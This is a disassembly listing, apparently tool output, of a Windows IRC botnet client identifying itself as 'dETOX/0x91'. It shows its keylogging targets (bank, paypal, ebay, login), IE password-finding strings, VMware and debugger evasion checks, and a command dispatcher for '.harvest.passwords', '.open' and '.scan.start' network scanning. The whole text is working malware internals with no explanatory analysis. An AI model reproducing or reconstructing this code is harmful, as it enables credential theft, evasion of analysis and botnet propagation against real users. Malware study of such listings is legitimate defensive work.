		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_403F84	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 696E7302h
					; DATA XREF: sub_409834+9Do
		dd 72656666h, 202D0203h, 0A0D7325h, 0
aOper		db 'OPER',0             ; DATA XREF: sub_409834+6Co
		align 10h
aJoin		db 'JOIN',0             ; DATA XREF: sub_409834+5Bo
		align 4
aBank		db 'bank',0             ; DATA XREF: sub_409834+50o
		align 10h
aLogin		db 'login',0            ; DATA XREF: sub_409834+3Fo
					; sub_409834+7Do
		align 4
aEBay		db 'e-bay',0            ; DATA XREF: sub_409834+2Eo
		align 10h
aEbay		db 'ebay',0             ; DATA XREF: sub_409834+1Do
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_409834+Co
		align 10h
dword_403FE0	dd 5B207325h, 2333003h,	65746E45h, 5D020372h, 6E695720h
					; DATA XREF: sub_4098E2+108o
					; sub_4098E2+2D0o
		dd 3A776F64h, 73252820h, 29h
		dd 2333003h, 2036425h, 20732520h, 2333003h, 2036425h, 20732520h
					; DATA XREF: sub_409D65+D9o
		dd 2333003h, 2036425h, 732520h
aMinute		db 'minute',0           ; DATA XREF: sub_409D65+CEo
		align 4
aMinutes	db 'minutes',0          ; DATA XREF: sub_409D65+C7o
aHour		db 'hour',0             ; DATA XREF: sub_409D65+BFo
		align 4
aHours		db 'hours',0            ; DATA XREF: sub_409D65+B8o
		align 4
aDay		db 'day',0              ; DATA XREF: sub_409D65+B0o
aDays		db 'days',0             ; DATA XREF: sub_409D65+A0o
		align 10h
dword_404050	dd 646E6957h, 2073776Fh, 2333003h, 2037325haD_DBuildD	db ' [%d.%d Build %d]',0
		dw 0
dword_404074	dd 3F3F3Fh	a2003		db '2003',0             ; DATA XREF: sub_409E5D+8Fo
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_409E5D+85o
		align 4
a2000		db '2000',0             ; DATA XREF: sub_409E5D+79o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_409E5D+65o
		align 10h
a98		db '98',0               ; DATA XREF: sub_409E5D+59o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_409E5D+4Do
		align 4
a95		db '95',0               ; DATA XREF: sub_409E5D+3Ao
		align 4
		dd 3430032Dh, 73797302h, 206D6574h, 6F666E69h, 202D0203h
					; DATA XREF: sub_409F1F+57o
		dd 72207325h, 696E6E75h, 6620676Eh, 2520726Fh, 6E6F2073h
		dd 534F2820h, 73252029h, 50432820h, 3202955h, 25023330h
		dd 20020364h, 207A484Dh, 68746977h, 41522820h, 320294Dh
		dd 25023330h, 64252F64h, 4D200203h, 42h, 56495250h, 2047534Dh
		dd 3A207325h, 7325202Dh, 0A0Dh,	56495250h, 2047534Dh, 3A207325h
		dd 6F64202Dh, 6C20656Eh, 69747369h, 6620676Eh, 646E756Fh
		dd 34300320h, 3642502h,	61702002h, 6F777373h, 0D736472h
		dd 0Ah,	2333003h, 63204549h, 65686361h,	20020364h, 73736170h
		dd 64726F77h, 756F6620h, 203A646Eh, 77207325h, 20687469h
		dd 253A7325h, 73h, 2Ch,	2333003h, 63204549h, 65687361h
		dd 20020364h, 73736170h, 64726F77h, 756F6620h, 203A646Eh
		dd 77207325h, 20687469h, 7325h,	70747468h, 2F3A73h, 70747468h
		dd 2F3Ah, 7274533Ah, 676E69h, 69727453h, 6E49676Eh, 786564h
		dd 31363165h, 61353532h, 0
dword_4041D8	dd 2333003h, 50204549h,	77737361h, 2D64726Fh, 746F7250h
					; DATA XREF: MEW:0040A221o
		dd 65746365h, 20020364h, 6E756F66h, 25203A64h, 69772073h
		dd 25206874h, 73h, 65376535h, 30303138h, 0
dword_404214	dd 737725h, 7825h, 0dword_404220	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh,	6F745350h
					; DATA XREF: MEW:0040A02Eo
					; MEW:0040A0ADo
		dd 72436572h, 65746165h, 74736E49h, 65636E61h, 0
dword_404248	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 73617002h
					; DATA XREF: MEW:00409FD4o
		dd 726F7773h, 2037364h,	696C202Dh, 6E697473h, 6C612067h
		dd 6163206Ch, 64656863h, 73617020h, 726F7773h, 0A0D7364h
		dd 0
dword_404288	dd 6F747370h, 2E636572h, 6C6C64hunk_404294	db  2Dh	; -		; DATA XREF: sub_40A5D5+42o
		db 3, 30h, 33h
		db    2
		db 25h,	64h, 3
		db    2
aSPriorityDPidD	db '- %s (priority: %d) [pid: %d]',0
		align 4
unk_4042BC	db  25h	; %		; DATA XREF: sub_40A5D5+14o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  72h	; r
		db 6Fh,	75h, 74h
		db  69h	; i
		db 6Eh,	65h, 3
		db    2
aListingAllStar	db '- listing all started threads',0Dh,0Ah,0
		align 4
aR_1:					; DATA XREF: sub_40A690o
		unicode	0, <r>,0
aCCCCCCC	db '%c%c%c%c%c%c%c',0   ; DATA XREF: sub_40A6A6+C1o
		align 4
a0123456789abcd	db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_40A6A6+27o
		align 10h
aSoftwareVmware	db 'SOFTWARE\VMware, Inc.\',0 ; DATA XREF: sub_40AA5D+Fo
		align 4
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: sub_40AAA5:loc_40AADCo
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_40AAA5:loc_40AAC1o
		align 10h
dword_404370	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh, 40449Ch, 0
					; DATA XREF: sub_40AE7E+15o
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_4043A0	dd offset off_40449C	; DATA XREF: MEW:off_4044E8o
					; MEW:00404524o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
flt_4043B8	dd 9.765625e-4		; DATA XREF: sub_404530+45Br
flt_4043BC	dd 0.0			; DATA XREF: sub_404530+42Br
flt_4043C0	dd 1.0e-3		; DATA XREF: sub_404530+41Fr
		align 8
dword_4043C8	dd 0FFFFFFFFh, 40514Dh,	405151h, 0dword_4043D8	dd 0FFFFFFFFh, 405289h,	40528Dh, 0dword_4043E8	dd 0FFFFFFFFh, 40548Ah,	40548Eh, 0dword_4043F8	dd 0FFFFFFFFh, 405593h,	405597h, 0dword_404408	dd 0FFFFFFFFh, 405CCCh,	405CD0h, 0dword_404418	dd 0FFFFFFFFh, 405DA4h,	405DA8h, 0dword_404428	dd 0FFFFFFFFh, 40726Fh,	407273h, 0dword_404438	dd 0FFFFFFFFh, 407526h,	40752Ah, 0dword_404448	dd 0FFFFFFFFh, 407F2Ah,	407F2Eh, 0dword_404458	dd 0FFFFFFFFh, 409C55h,	409C59h, 0dword_404468	dd 0FFFFFFFFh, 40A510h,	40A514h, 0dword_404478	dd 0FFFFFFFFh, 40A7F9h,	40A7FDh, 0dbl_404488	dq -3.0517578125e-5	; DATA XREF: sub_40A818+2Cr
		dd offset dword_4044D0
off_404494	dd offset sub_40AF35	; DATA XREF: sub_40AF03+12o
					; MEW:0040AF6Ao ...
		dd offset dword_404518
off_40449C	dd offset sub_40AFAA	; DATA XREF: MEW:off_4043A0o
off_4044A0	dd offset dword_404370+10h ; DATA XREF:	MEW:004044B8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4044A0
dword_4044BC	dd 3 dup(0)			dd 1, 4044B8h
dword_4044D0	dd 3 dup(0)			dd offset dword_404370+10h
		dd offset dword_4044BC+4
		align 8
off_4044E8	dd offset off_4043A0	; DATA XREF: MEW:00404500o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4044E8
		dd 0
		db    0			; DATA XREF: MEW:00404528o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 404500h
dword_404518	dd 3 dup(0)			dd offset off_4043A0
		dd offset unk_404508
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404530	proc near		; CODE XREF: sub_4055A6+300p
					; sub_4055A6+637p

var_1F4		= qword	ptr -1F4h
var_1EC		= qword	ptr -1ECh
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= byte ptr -1D8h
var_158		= dword	ptr -158h
var_154		= byte ptr -154h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4043C8
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1E4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		wait
		and	[ebp+var_4], 0
		mov	edi, offset asc_401ADC ; " "
		push	edi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+0Ch]
		call	sub_40ABB8
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_9C], ebx
		mov	[ebp+var_1C], 1


loc_404580:				; CODE XREF: sub_404530+73j
		cmp	[ebp+var_1C], 20h
		jge	short loc_4045A5
		push	edi
		push	0
		call	sub_40ABB8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx*4+var_9C], eax
		inc	[ebp+var_1C]
		mov	ebx, [ebp+var_9C]
		jmp	short loc_404580
; ---------------------------------------------------------------------------


loc_4045A5:				; CODE XREF: sub_404530+54j
		push	offset a_bot_compilati ; ".bot.compilation"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4045CA
		push	offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset unk_401A88
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_4045CA:				; CODE XREF: sub_404530+84j
		push	offset a_bot_leave ; ".bot.leave"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4045F4
		push	offset aQuitGodHatesUs ; "QUIT :god hates us all\r\n"
		call	sub_405185
		pop	ecx
		call	dword_401248
		push	1
		call	dword_4010F0	; ExitProcess


loc_4045F4:				; CODE XREF: sub_404530+A9j
		push	offset dword_401A54
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40461A
		call	sub_409D65


loc_40460A:				; CODE XREF: sub_404530+100j
					; sub_404530+145j ...
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_401A48
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_40461A:				; CODE XREF: sub_404530+D3j
		push	offset dword_401A40
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404632
		call	sub_409E5D
		jmp	short loc_40460A
; ---------------------------------------------------------------------------


loc_404632:				; CODE XREF: sub_404530+F9j
		push	offset dword_401A38
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40465F
		push	dword_40B244
		call	sub_40715A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_401A10
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_40465F:				; CODE XREF: sub_404530+111j
		push	offset dword_401A00
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404677
		call	sub_409F1F
		jmp	short loc_40460A
; ---------------------------------------------------------------------------


loc_404677:				; CODE XREF: sub_404530+13Ej
		push	offset dword_4019F0
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4046BA
		push	dword_40B270
		movzx	eax, word_40B0D0
		push	eax
		push	dword_40B244
		call	sub_40715A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_4019A0


loc_4046AD:				; CODE XREF: sub_404530+ACFj
		call	sub_405185
		add	esp, 18h
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_4046BA:				; CODE XREF: sub_404530+156j
		push	offset a_harvest_passw ; ".harvest.passwords"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40472D
		cmp	[ebp+var_98], eax
		jnz	short loc_4046DF
		cmp	[ebp+var_94], eax
		jz	loc_40514A


loc_4046DF:				; CODE XREF: sub_404530+1A1j
		mov	esi, offset aPasswordFinder ; "Password	Finder"
		push	esi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jnz	loc_40514A
		push	offset dword_401978
		push	[ebp+var_98]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40514A
		mov	eax, [ebp+var_94]
		mov	[ebp+var_A8], eax
		push	esi
		push	1
		lea	eax, [ebp+var_A8]
		push	eax
		push	offset loc_409FA1
		jmp	loc_404CE3
; ---------------------------------------------------------------------------


loc_40472D:				; CODE XREF: sub_404530+199j
		push	offset dword_40196C
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4047B7
		mov	edi, [ebp+var_98]
		test	edi, edi
		jz	loc_40514A
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA4[eax]
		push	edi
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40479E
		cmp	byte_40B240, al
		jnz	short loc_40478E
		push	[ebp+var_94]
		push	edi
		push	offset dword_40195C
		call	sub_405185
		add	esp, 0Ch
		mov	byte_40B240, 1
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_40478E:				; CODE XREF: sub_404530+23Cj
		push	edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_40192C
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_40479E:				; CODE XREF: sub_404530+234j
		push	[ebp+var_94]
		push	edi
		push	offset dword_40195C


loc_4047AA:				; CODE XREF: sub_404530+304j
					; sub_404530+5EEj ...
		call	sub_405185
		add	esp, 0Ch
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_4047B7:				; CODE XREF: sub_404530+20Cj
		push	offset dword_401920
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404839
		mov	edi, [ebp+var_98]
		test	edi, edi
		jz	loc_40514A
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA4[eax]
		push	edi
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404828
		cmp	byte_40B240, al
		jz	short loc_404818
		push	[ebp+var_94]
		push	edi
		push	offset dword_401910
		call	sub_405185
		add	esp, 0Ch
		and	byte_40B240, 0
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_404818:				; CODE XREF: sub_404530+2C6j
		push	edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_4018E0
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404828:				; CODE XREF: sub_404530+2BEj
		push	[ebp+var_94]
		push	edi
		push	offset dword_401910
		jmp	loc_4047AA
; ---------------------------------------------------------------------------


loc_404839:				; CODE XREF: sub_404530+296j
		push	offset dword_4018D4
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404878
		and	byte_40B274, al
		and	byte_40B240, al
		push	dword_40B280
		call	sub_408616
		mov	[esp+0Ch+var_C], 0FA0h
		call	dword_4010F4	; Sleep
		call	sub_4052A5
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_404878:				; CODE XREF: sub_404530+318j
		push	offset dword_4018C4
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404A11
		cmp	[ebp+var_98], eax
		jz	loc_40514A
		cmp	[ebp+var_94], eax
		jz	loc_40514A
		cmp	[ebp+var_90], eax
		jz	loc_40514A
		push	offset dword_4018C0
		push	[ebp+var_90]
		call	sub_40AFA4
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		inc	bl
		mov	byte ptr [ebp+var_B0], bl
		push	offset dword_4018BC
		push	[ebp+var_8C]
		call	sub_40AFA4
		add	esp, 10h
		neg	eax
		sbb	al, al
		inc	al
		mov	byte ptr [ebp+var_B8], al
		call	dword_4010FC	; GetTickCount
		mov	[ebp+var_B4], eax
		push	[ebp+var_B8]
		push	[ebp+var_B0]
		push	[ebp+var_94]
		push	[ebp+var_98]
		call	sub_408825
		add	esp, 10h
		mov	edi, eax
		mov	[ebp+var_AC], edi
		test	edi, edi
		jz	loc_4049FC
		call	dword_4010FC	; GetTickCount
		mov	[ebp+var_BC], eax
		sub	eax, [ebp+var_B4]
		mov	dword ptr [ebp+var_1EC], eax
		and	dword ptr [ebp+var_1EC+4], 0
		fild	[ebp+var_1EC]
		fmul	flt_4043C0
		fst	[ebp+var_C8]
		fcom	flt_4043BC
		fnstsw	ax
		sahf
		jnz	short loc_404970
		fstp	st
		fld1
		fst	[ebp+var_C8]


loc_404970:				; CODE XREF: sub_404530+434j
		mov	dword ptr [ebp+var_1F4], edi
		and	dword ptr [ebp+var_1F4+4], 0
		fild	[ebp+var_1F4]
		fdiv	st, st(1)
		fst	[ebp+var_C0]
		fmul	flt_4043B8
		fstp	[ebp+var_C4]
		test	bl, bl
		fld	[ebp+var_C4]
		jnz	short loc_4049D4
		call	sub_40ABC6
		push	eax
		call	sub_40ABC6
		push	eax
		shr	edi, 0Ah
		push	edi
		push	[ebp+var_94]
		push	[ebp+var_98]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_401858


loc_4049C7:				; CODE XREF: sub_404530+4CAj
		call	sub_405185
		add	esp, 20h
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_4049D4:				; CODE XREF: sub_404530+46Fj
		call	sub_40ABC6
		push	eax
		call	sub_40ABC6
		push	eax
		shr	edi, 0Ah
		push	edi
		push	[ebp+var_94]
		push	[ebp+var_98]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_4017E8
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_404530+3F4j
		push	[ebp+var_98]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset unk_4017B4
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404A11:				; CODE XREF: sub_404530+357j
		push	offset a_open	; ".open"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404A5F
		mov	edi, [ebp+var_98]
		cmp	edi, eax
		jz	loc_40514A
		push	5
		push	eax
		push	eax
		push	edi
		push	offset aOpen	; "open"
		push	eax
		call	dword_4011C8
		test	eax, eax
		push	edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		jz	short loc_404A55
		push	offset dword_401770
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404A55:				; CODE XREF: sub_404530+519j
		push	offset dword_401740
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404A5F:				; CODE XREF: sub_404530+4F0j
		push	offset a_scan_start ; ".scan.start"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404CED
		mov	ebx, [ebp+var_98]
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40514A
		cmp	[ebp+var_94], edi
		jz	loc_40514A
		cmp	[ebp+var_90], edi
		jz	loc_40514A
		cmp	[ebp+var_8C], edi
		jz	loc_40514A
		cmp	[ebp+var_88], edi
		jz	loc_40514A
		cmp	[ebp+var_84], edi
		jz	loc_40514A
		push	offset aScanner	; "Scanner"
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jnz	loc_40514A
		push	offset dword_4018C0
		push	ebx
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404B23
		push	6
		push	5
		call	sub_40A818
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	ecx, eax
		imul	ecx, 2Ch
		mov	cx, word ptr dword_402BE0[ecx]
		mov	word_40B254, cx


loc_404B05:				; CODE XREF: sub_404530+63Aj
		mov	dword_40B258, eax


loc_404B0A:				; CODE XREF: sub_404530+619j
		cmp	word_40B254, 0
		jnz	short loc_404B71
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset unk_4016EC
		jmp	loc_4047AA
; ---------------------------------------------------------------------------


loc_404B23:				; CODE XREF: sub_404530+5B2j
		push	ebx
		call	sub_40ABAC
		pop	ecx
		mov	word_40B254, ax
		mov	dword_40B258, edi
		mov	[ebp+var_1C], edi


loc_404B39:				; CODE XREF: sub_404530+63Fj
		mov	eax, [ebp+var_1C]
		imul	eax, 2Ch
		lea	edi, dword_402BE0[eax]
		cmp	word ptr [edi],	0
		jz	short loc_404B0A
		push	ebx
		lea	eax, dword_402BC8[eax]
		push	eax
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404B6C
		mov	ax, [edi]
		mov	word_40B254, ax
		mov	eax, [ebp+var_1C]
		jmp	short loc_404B05
; ---------------------------------------------------------------------------


loc_404B6C:				; CODE XREF: sub_404530+62Cj
		inc	[ebp+var_1C]
		jmp	short loc_404B39
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_404530+5E2j
		push	offset aS_0	; "-s"
		push	[ebp+var_94]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404BE9
		push	10h
		call	sub_40ABA6
		mov	esi, eax
		mov	[ebp+var_1E4], esi
		mov	[ebp+var_CC], esi
		push	off_403730
		push	esi
		call	sub_40ABA0
		add	esp, 0Ch
		mov	[ebp+var_D0], esi
		mov	eax, offset a_	; "."
		push	eax
		push	eax
		push	esi
		call	sub_40AB9A
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		call	sub_40AB9A
		pop	ecx
		pop	ecx
		mov	[ebp+var_D4], eax
		and	byte ptr [eax+1], 0
		push	0
		push	0
		push	esi
		push	offset aSD_D	; "%s%d.%d"
		push	esi
		call	sub_40AB94
		add	esp, 14h
		push	esi
		jmp	short loc_404C0C
; ---------------------------------------------------------------------------


loc_404BE9:				; CODE XREF: sub_404530+655j
		push	offset asc_4016D8 ; "-x"
		push	[ebp+var_94]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404C06
		call	sub_407125
		jmp	short loc_404C12
; ---------------------------------------------------------------------------


loc_404C06:				; CODE XREF: sub_404530+6CDj
		push	[ebp+var_94]


loc_404C0C:				; CODE XREF: sub_404530+6B7j
		call	dword_40124C


loc_404C12:				; CODE XREF: sub_404530+6D4j
		mov	dword_40B250, eax
		push	[ebp+var_90]
		call	sub_40ABAC
		mov	dword_40B260, eax
		mov	[esp+0Ch+var_C], offset	aR ; "-r"
		push	[ebp+var_8C]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404C47
		and	dword_40B268, eax
		jmp	short loc_404C6B
; ---------------------------------------------------------------------------


loc_404C47:				; CODE XREF: sub_404530+70Dj
		push	offset asc_4016D8 ; "-x"
		push	[ebp+var_8C]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40514A
		mov	dword_40B268, 1


loc_404C6B:				; CODE XREF: sub_404530+715j
		push	[ebp+var_88]
		call	sub_40ABAC
		pop	ecx
		mov	dword_40B264, eax
		test	eax, eax
		jge	short loc_404C85
		mov	eax, 80h


loc_404C85:				; CODE XREF: sub_404530+74Ej
		mov	dword_40B264, eax
		mov	ecx, 1002h
		cmp	eax, ecx
		jle	short loc_404C95
		mov	eax, ecx


loc_404C95:				; CODE XREF: sub_404530+761j
		mov	dword_40B264, eax
		push	[ebp+var_84]
		call	sub_40ABAC
		pop	ecx
		mov	dword_40B25C, eax
		and	byte_40B26C, 0
		cmp	[ebp+var_80], 0
		jz	short loc_404CD2
		push	offset asc_4016D0 ; "-l"
		push	[ebp+var_80]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404CD2
		mov	byte_40B26C, 1


loc_404CD2:				; CODE XREF: sub_404530+786j
					; sub_404530+799j
		push	offset aScanner	; "Scanner"
		push	1
		push	offset dword_40B250
